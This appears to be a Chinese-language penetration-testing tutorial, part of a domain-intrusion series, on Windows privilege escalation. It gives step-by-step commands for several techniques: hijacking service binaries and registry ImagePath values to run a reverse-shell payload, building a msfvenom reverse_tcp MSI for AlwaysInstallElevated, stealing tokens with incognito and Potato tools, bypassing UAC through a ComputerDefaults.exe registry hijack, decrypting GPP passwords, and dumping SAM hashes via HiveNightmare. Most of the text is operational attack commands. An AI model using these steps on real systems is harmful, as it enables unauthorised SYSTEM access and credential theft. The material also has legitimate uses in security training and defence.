域渗透(四)-权限提升
权限提升可以分为横向权限提升和纵向权限提升
1.横向移动:同用户级别之间,由一个用户接管另一个用户权限
2.纵向移动:由较低用户权限获取更高的用户权限(例如获取管理员、系统级别的权限)
1.系统内核漏洞提权
1.寻找系统潜在漏洞
1.手动寻找可用漏洞
查看已安装补丁
systeminfo |
可以结合系统版本和相关辅助网站寻找可用的提权漏洞
2.借助WES-NG查找可用漏洞
GitHub - bitsadmin/wesng: Windows Exploit Suggester - Next Generation
a.更新最新的漏洞库数据
python3 wes.py --update |
b.执行systeminfo并将结果保存到sysinfo.txt,然后用WES-NG进行检查
C:\>systeminfo > sysinfo.txt |
c.寻找所有已公开的exp
python3 wes.py sysinfo.txt --impact "Elevation of Privilege" --exploits-only |
以测试机Win7为例
2.确定并利用漏洞
确认漏洞后,通过各种方式搜寻漏洞利用程序上传利用。
2.系统服务提权
一些应用软件会注册一些服务,大多数服务在计算机开机时以SYSTEM权限启动。
应用软件在注册服务时,会在以下路径中创建相应的注册表项
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services |
以GoogleUpdate为例
gupdate服务ImagePath指向系统服务所启动的二进制程序
大多数服务以SYSTEM权限启动,如果让服务启动执行其他程序,该程序就能随着服务的启动获得系统权限,这是利用系统服务提权的主要思路
1.不安全的服务权限
ACL定义安全对象访问控制策略,用于规定哪些主体对其拥有访问权限和拥有什么样的权限
Windows系统服务通过ACL来指定用户对其拥有的权限。
假设目标主机的用户在配置服务时存在疏忽,使得低权限用户对高权限下运行的系统服务拥有更改服务配置的权限(SERVICE_QUERY_CONFIG或SERVICE_ALL_ACCESS),就可以通过这个低权限用户直接修改服务启动时的二进制文件路径。
实战中AccessChk工具可以枚举目标主机上存在权限缺陷的系统服务。AccessChk可以用来枚举或查看系统中指定用户、组对特定资源的访问权限。
低权限用户可以通过可以通过检查”Authenticated Users”组和”INTERACTIVE”组对系统服务的权限,
1.前者为经过身份验证的用户,包含系统中所有使用用户名、密码登录并通过验证的账户
2.后者为交互式用户组,包含系统中所有直接登录到计算机进行操作的用户
默认情况下这两个组为计算机本地“Users”的成员。
下载地址:https://learn.microsoft.com/zh-cn/sysinternals/downloads/accesschk
1.检查Authenticated Users
枚举目标主机”Authenticated Users”组是否具有更改服务配置的权限
accesschk.exe /accepteula -uwcqv "Authenticated Users" * |
2.若InsproSvc服务具有SERVICE_QUERY_CONFIG权限,执行以下命令,该服务启动时执行的二进制文件替换为预先上传的攻击载荷,当服务重启时,载荷会随着服务的启动继承系统权限
sc config InsproSvc binpath= "cmd.exe /k C:\Users\Public\reverse_tcp.exe" |
3.如果当前用户对该服务拥有SERVICE_STOP和SERVICE_START权限,意味着用户拥有对服务的重启权限,可以直接执行以下命令重启服务。
sc stop <Service Name> |
如果没有权限,可以对启动类型为”自动”的服务尝试通过重新启动计算机的方法来实现服务重启
2.服务注册表权限脆弱
注册表利用ACL来管理用户对其所拥有的访问权限,若ACL配置错误,使得一个低权限的用户对服务的注册表拥有写入权限,此时可以通过修改注册表更改服务配置
1.枚举Authenticated Users用户组拥有写入权限的服务注册表
accesschk.exe /accepteula -uvwqk "Authenticated Users" HKLM\SYSTEM\CurrentControlSet\Services |
2.Authenticated Users用户组对RegSvc服务的注册表拥有完全控制权限,执行以下命令上传payload
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RegSvc /v ImagePath /t REG_EXPAND_SZ /d "cmd.exe /k C:\Users\Public\reverse_tcp.exe" /f |
3.查看当前命令是否有重启权限
accesschk.exe /accepteula -ucqv "Authenticated Users" RegSvc |
如果可以重启
stop RegSvc |
getuid 发现为system权限
3.服务路径权限可控
如果低权限用户对此服务调用的二进制文件或路径具有写入权限,那么可以直接将该文件替换成攻击载荷
1.查看InsexeSvc服务的二进制文件所在目录是否具有写入权限
accesschk.exe /accepteula -quv "C:\Program Files\Insecure Executables\" |
2.若具有控制权,测试人员可以将InsexeSvc服务的二进制文件替换成一个同名的攻击载荷
meterpreter>cd "C:\Program Files\Insecure Executables" |
4.未引用的服务路径
当服务启动所执行二进制文件的路径包含空格且未有有效包含在引号中时,就会导致该漏洞
当系统一次尝试服务路径的空格时,会以当前所拥有权限进行
测试人员可以将一个经过特殊命名的payload上传到受影响的目录中
1.枚举目标主机上所有该漏洞的系统服务
wmic service get DisplayName,PathName,StartMode|findstr /i /v "C:\Windows\\" |findstr /i /v """ |
2.用Accesschk检查受影响目录,发现当前用户对受影响的目录拥有完全控制权限
accesschk.exe /accepteula -quv "Authenticated Users" "C:\Program Files\Upquoted Path\" |
可以向C:\Program Files\nquoted Path上传一个名为Sub.exe的攻击载荷,服务重启后检查路径检查到Sub.exe时即会将攻击在和以SYSTEM权限运行
为了避免该漏洞,使用sc创建系统服务时,应有效地对存在空格的服务器路径使用引号进行包裹
sc create TestSvc binpath= "\"C:\Program Files\Sub Dir\Program Name.exe\"" |
5.PowerUp
GitHub - mdand2000/PowerShellEmpire-PowerTools
Powershell 提权框架-Powerup - Evi1cg
3.MSI安装策略提权
MSI是微软格式的应用程序安装包,是一个数据库,包含安装和卸载软件时需要使用的大量指令和程序数据。
用户在配置MSI安装策略时若启用“永远以高特权进行安装”,使得任何权限的用户都可以通过SYSTEM权限安装MSI文件。
测试人员可以在目标主机上安装一个预先制作的恶意MSI文件以获得SYSTEM权限
1.确定系统是否存在漏洞
成功利用AlwaysInstallElevated是用户在配置MSI安装策略时启动了永远以高特权进行安装,该项启用后,系统会在注册表的以下两个位置创建键值
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated |
测试人员可以查询确定系统是否开启AlwaysInstallElevated选项
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated |
2.创建恶意MSI并安装
msf生成msi
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.89.131 LPORT=44554 -f msi -o reverse_tcp.msi |
先拿到普通用户权限
将生成的msi上传到目标主机上,等另一台主机开启监听后用msiexec运行msi安装文件
msiexec /quiet /qn /i reverse_tcp.msi |
再开一个msfconsole 监听44554端口
运行msiexec,在第二个msfconsole上成功上线
成功提权至system权限
4.访问令牌操纵
Windows的访问控制模型由访问令牌和安全描述符两部分组成,是Windows系统安全性的基础构建
两部分分别被访问者和被访问者锁持有。
1.访问令牌
访问令牌:描述进程或线程的上下文对象,包含与进程或线程关联的用户账户的标识和特权等信息。
Windows的令牌可以分为主令牌和模拟令牌。
主令牌与进程相关联,是由Windows内核创建并分配给进程的默认访问令牌,每个进程都有个主令牌,描述了与当前进程关联的用户账户的安全上下文,进程的线程与安全对象交互时,会使用主令牌。
线程可以模拟客户端账户。模拟是指线程在安全上下文中执行的能力,并且该上下文不同于拥有该线程的进程的上下文。当线程模拟客户端时,模拟线程将同时具有主访问令牌和模拟令牌。
通过操作访问令牌,使正在运行的进程看起来像是其他进程的子进程或属于其他用户所启动的进程。使用Windows API从指定的进程中复制访问令牌,并将得到的访问令牌用于现有进程或生成新进程从而达到权限提升并绕过访问控制。这个过程被称为令牌窃取。
注意:令牌窃取只能在特权用户上下文中才能完成,因为通过令牌创建进程使用的CreateProcessWithTokenW和CreateProcessAsUserA 两个Windows Windows API分别要求用户必须拥有SeImpersonatePrivilege 和 SeAssignPrimaryTokenPrivilege/SeIncreaseQuotaPrivilege特权,而拥有者两个特权的用户一般为系统管理员账户、网络服务管理员账户和系统服务账户。
2.常规令牌窃取操作
常规令牌窃取通常用于管理员提升至SYSTEM、TrustedInstaller等更高权限。
1.利用incognito.exe窃取令牌
incognito.exe可以在Windows系统上实现令牌窃取
项目地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
a.将incognito.exe上传,执行
incognito.exe list_tokens -u |
列出主机上所有访问令牌
查看拥有更高账户的权限的访问令牌
b.执行
incognito.exe execute -c "NT AUTHORITY\SYSTEM" whoami |
窃取NT AUTHORITY\SYSTEM账户的访问令牌并创建进程
c.执行
incognito.exe execute -c "HACK-MY\Marcus" cmd |
窃取域用户Marcus的访问令牌,实现本地管理员到域用户的切换
2.利用MetaSploit窃取令牌
metasploit内置incognito
load incognito #加载incognito模块 |
先上线一台主机,获取administrator权限
加载incognito并窃取SYSTEM权限
3.通过令牌获取TustedInstaller权限
一般SYSTEM为Windows系统最高权限,但是即便获取了SYSTEM权限,也不能修改Windows系统文件。
Windows Vista开始系统内置了一个TrustedInstaller安全主体,拥有修改系统文件权限,专用于对系统进行维护、更新等操作。
TrustedInstaller以一个账户组的形式出现,即NT SERVICE\TrustedInstaller。
TrustedInstaller本身也是一个服务,当启动该服务时,会运行TrustedInstaller.exe程序,该程序在系统上的路径上为”C:\Windows\servicing\TrustedInstaller.exe”,其拥有者为NT SERVICE\TrustedInstaller。
测试人员可以通过窃取TrustedInstaller.exe的令牌,以提升至TrustedInstaller权限
使用icacls命令可以查看目录权限
C:\>icacls "C:\Windows\servicing" |
实验:
先启动TrustedInstaller服务
sc start TrustedInstaller |
记录PID后窃取令牌
steal_token <PID> |
3.Potato家族提权
使用令牌窃取的前提是用户拥有SeAssignPrimaryTokenPrivilege或SeImpersonatePrivilege特权
拥有这两个特权可以允许用户在另一个用户的安全上下文中运行代码甚至创建新进程.
Potato家族有用这两个权限并将已获取的NT AUTHORITY\SYSTEM账户的访问令牌传入CreateProcessWithTokenW或CreateProcessAsUserA函数进行调用,从而在NT AUTHORITY\SYSTEM账户的上下文中穿件新进程,以提升至SYSTEM权限
1.Rotten Potato
通过拦截NTLM身份认证请求,并伪造NT AUTHORITY\SYSTEM账户的访问令牌
有时要提权不是管理员用户,使用incognito无法列举出高权限用户的令牌
向目标主机上传RottenPotato利用程序,在msf中运行
execute -Hc -f rottenpotato.exe |
再执行list_token -u 命令就能列举出NT AUTHORITY\SYSTEM账户的令牌,使用impersonate_token伪造该令牌即可获取SYSTEM权限
2.Juicy Potato
与Rotten Potato原理几乎完全相同,只是在后者的基础上做了扩展。
以上提权方法只适用于Windows 10 version 1809 和Windows Server 2019 之前版本的系统,在此之后微软通过检查RPC绑定字符串中指定的端口来修复了这个问题。
3.Pipe Potato(PrintSpoofer)
主要利用打印机组件路径检查中存在的一个Bug,使高权限的服务能连接到测试人员创建的命名管道,以获取高权限账户的令牌来创建新进程
4.Sweet Potato
SweetPotato集成了RottenPotato、JuicyPotato、Rogue WinRm和PrintSpoofer的功能,
用来将服务账户权限提升至SYSTEM权限.
项目地址:https://github.com/CCob/SweetPotato
SweetPotato by @_EthicalChaos_ |
5.Bypass UAC
用户账户控制(UAC) 是Windows操作系统采用的一种控制机制,可以阻止自动安装未经授权的应用并防止意外更改系统设置.
UAC限制所有用户包括非RID500的用户使用标准用户登录到计算机并在标注用户的安全上下文中访问资源和运行。
非RID管理员用户登录后,系统会为其创建两个单独的访问令牌:标准用户令牌和管理员访问令牌。
标准令牌移除一些windows特权,用于启动不执行管理任务的应用程序。
当管理员需要执行高权限管理任务时,Windows会自动提示用户予以批准,同意后则允许管理员访问令牌。
实战中,测试人员可以绕过WindowsUAC机制,使非RID500的管理员账户可以不需要用户批准直接访问管理员访问令牌,从而获取全部的管理权限
1.UAC白名单
微软在用户账户控制中为一些系统程序设置了白名单机制,所有白名单的程序,白名单程序静默自动提升到管理员权限,如slui.exe,wusa.exe,taskmgr.exe,msra.exe等,测试人员可以通过对这些白名单程序进行dll劫持,dll注入或者注册表劫持等绕过UAC并提权
在寻找白名单可以使用Sigcheck 和Strings
下载地址:
Sigcheck:https://learn.microsoft.com/zh-cn/sysinternals/downloads/sigcheck
Strings:https://learn.microsoft.com/zh-cn/sysinternals/downloads/sigcheck
白名单程序的特性->Manifest数据中的autoElevate属性值为True,Sigcheck 可以检测程序是否有autoElevate属性
以ComputerDefaults.exe为例
sigcheck.exe /acceteula -m C:\Windows\System32\ComputerDefaults.exe |
Strings可以找出所有具有autoElevate属性的程序
strings.exe /accepteula -s C:\Windows\System32\*.exe | findstr /i "autoElevate" |
成功找出
以ComputerDefaults.exe为例,通过改程序绕过UAC实现提权:
1.ComputerDefaults.exe运行后会打开Windows的默认应用界面,并未出现UAC弹窗
2.使用Process Monitor 监控ComputerDefaults.exe进程的所有操作行为(主要是监控注册表和文件的操作)
Process Monitor 下载地址: https://learn.microsoft.com/en-us/sysinternals/downloads/procmon
通过Process Monitor可以查到指定进程,只要通过Filter设定相应的规则即可
设置查看ComputerDefaults.exe进程的Path中包含command的内容
发现存在执行对HKLM\SOFTWARE\Clinets\StartMenuinternet\IEXPLORE.EXE\InstallInfo\ReinstallCommand的regQuery的进程,执行命令为C:\Windows\System32\ie4uinit.exe -reinstall。
以shell\open\command命名的注册表可能存储可执行文件的路径,程序会读取其中的可执行文件
3.执行
reg add "HKLM\SOFTWARE\Clinets\StartMenuinternet\IEXPLORE.EXE\InstallInfo" /v ReinstallCommand /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f |
将上述运行ComputerDefaults.exe产生的查询注册表HKLM\SOFTWARE\Clinets\StartMenuinternet\IEXPLORE.EXE\InstallInfo中要执行的命令ReinstallCommand的值改为cmd。
再次运行ComputerDefaults.exe,成功弹出系统权限的cmd,成功获取关闭UAC的cmd
如果将相关执行路径改为恶意程序,再次执行ComputerDefaults.exe时,恶意程序会伴随ComputerDefaults.exe的启动默认通过UAC控制并以提升的权限运行,可以上线msf。
2.DLL劫持
测试人员可以通过一些手段,欺骗合法的、受信任的应用程序加载任意的dll文件,从而造成DLL劫持。
当应用程序加载DLL时,如果没有指定DLL的绝对路径,那么程序会以特定的顺序依次在指定路径下搜索待加载的DLL。在开启安全DLL搜索模式(SafeDllSearchMode,Windows XP SP2 后默认开启)的情况下,将按以下顺序进行搜索:程序安装目录→系统目录(C:\Windows\System32)→16位系统目录(C:\Windows\System)→Windows目录(C:\Windows)→当前工作目录→PATH环境变量中列出的各目录。
将同名恶意DLL文件放在合法的DLL文件所在路径之前搜索位置,应用程序搜索DLL时,会以恶意DLL替代合法DLL。
通常用于为了实现权限的持久化。
通过UAC白名单程序加载DLL文件,测试人员就可以借助白名单程序的自动提升权限来Bypass UAC。但是这些白名单加载的DLL文件一般位于系统可信任目录中,这些目录对标准用户来说通常都是不可写的,需要模拟可信任目录。
3.模拟可信任目录
白名单 Manifest中的autoElevate属性的值为True
程序自动提升权限三个条件:
a.检查Manifest的autoElevate属性是否为True
b.检查可执行文件的签名
c.检查可执行文件是否位于系统可信任目录,如C;\Windows\System32
系统在检查可信任目录时,相关函数会自动去掉可执行文件路径中的空格。
比如可执行文件位于如下目录时,在检查时会自动去掉可执行文件路径中的空格,被认定为可信任目录。
C:\Windows \System32 |
测试人员可以借此创建一个包含尾随空格的可信任目录,将白名单程序复制到模拟可信任目录中,配合DLL劫持等技术即可成功绕过UAC。
例如以WinSAT.exe为例
1.创建C:\Windows \System32 模拟可信任目录,并将白名单程序WinSAT.exe复制到该目录中
md "\\?\C:\Windows " |
2.启动模拟可信任目录中的WinSAT.exe,同时使用Process Monitor检测进程加载的DLL
发现程序尝试在当前包含空格的目录加载DLL都失败了,可以编写恶意DLL文件并放入进行DLL劫持。调用Win32API执行相应的操作。
4.相关辅助工具
1.UACME
UACME是一个专用于绕过UAC的开源项目,拥有超过70种Bypass方法。
UACME项目中,每种BypassUAC的方法都有一个数字编号,由一个名为Akagi.exe的主程序(需要自行编译生成)进行同意调用
akagi.exe [Key] [Param] |
2.MetaSploit的利用
msf内置了多个用于绕过UAC的模块
msf>search bypassuac |
成功利用这些模块,将得到一个关闭了UAC保护的Meterpreter,然后执行getsystem,可以直接提升至SYSTEM权限
6.用户凭据操作
1.枚举Unattended凭据
Unattended(无人值守)安装允许应用程序在不需要管理员关注下自动安装。
无人值守安装的问题是会在系统中残留一些配置文件,其中可能包含本地管理员的用户名和密码,常见的路径有
C:\sysprep.inf |
测试人员可以全盘搜索上述配置文件,并搜索关键字获取管理员凭据
同时msf提供了 post/windows/gather/enum_unattend模块,可以从Unattend配置文件中自动化检索出用户密码。
2.获取组策略凭据
在Windows Server 2008中引入了组策略首选项,允许网络管理员对指定计算机和用户配置特定的设置。
在大型域环境中,网络管理员往往会通过下发组策略的方式对所有加入域的计算机的本地管理员密码进行批量修改。
在新建一个组策略后,域控会自动在SYSVOL共享目录生成一个XML存放更新后的密码。
SYSVOL是在安装活动目录时创建的一个用于存储公共文件服务器副本的共享文件夹,主要存放登录脚本、组策略数据及其他控制器需要的域信息等,并在所有经过身份验证的域用户或者域新人用户方位内共享。
SYSVOL目录中搜索,可以找到一个名为”Groups.xml”的文件,其中的cpassword字段保存了经过AES256算法加密过后的密码
微软在2012年公布了改密码的加密私钥,任何经过认证的用户都可以读取保存在XML文件中的密码,并通过私钥将其解密。由于通过组策略批量修改本地管理员密码都是相同的,如果获得一台机器的本地管理员密码,就可以获得整个域内机器的管理权限。
创建用户Testb,组Testuser
Testb密码: 114514AAAwww
Testb添加到Testuser组中
SYSVOL目录生成一个XML存放更新后的密码。
Metasploit框架内置 post/windows/gather/credentials/gpp模块可以自动化搜索位于SYSVOL共享目录中的XML,并从中解密出用户密码
3.HiveNightmare(CVE-2021-36934)
Windows的ACL(文件的访问控制列表)过于宽松,使得多个标准用户都可以从系统卷影副本中读取包括SAM、SYSTEM、SECURITY在内的多个系统文件。由于SAM文件时存储用户密码哈希值的安全账户管理器,进而可以获取所有本地用户NTLM Hash值,通过暴力破解或者Hash传递等方法就能实现本地权限提升。
该漏洞影响Windows 10 Version 1809发布以来的所有Windows版本,包括Windows 11
以Windows10为例演示,需要满足以下条件:已启用系统保护,系统上存在已创建的系统还原点,系统启用本地管理员用户。
系统保护在Windows操作系统中默认启用,如果已创建系统还原点,那么标准用户可直接从卷影副本中访问和转储SAM、SYSTEM、SECURITY文件,这些文件默认路径
C:\Windows\System32\config\SAM |
1.以标准用户查看是否存在漏洞
icacls C:\Windows\System32\config\SAM |
若输出BUILTIN\Users:(I)(RX),则系统易受攻击,如下图所示
2.将编译好的exp HiveNightmare.exe 上传到目标主机。直接运行后即可将SAM\SYSTEM\SECURITY 转储到当前目录
3.将三个文件复制到本地,使用Impacker中的secretsdump.py导出SAM文件中用户的哈希值
项目地址https://github.com/fortra/impacket/blob/3f645107bb4db65fd8a328399031a257723c6bfb/examples/secretsdump.py#L4
python secretsdump.py -sam SAM-2022-01-18 -system SYSTEM-2022-01-18 -security SECURITY-2022-01-18 LOCAL |
得到哈希值后可以暴力破解,也可以哈希传递
(会鸽很长一段时间再回来更内网)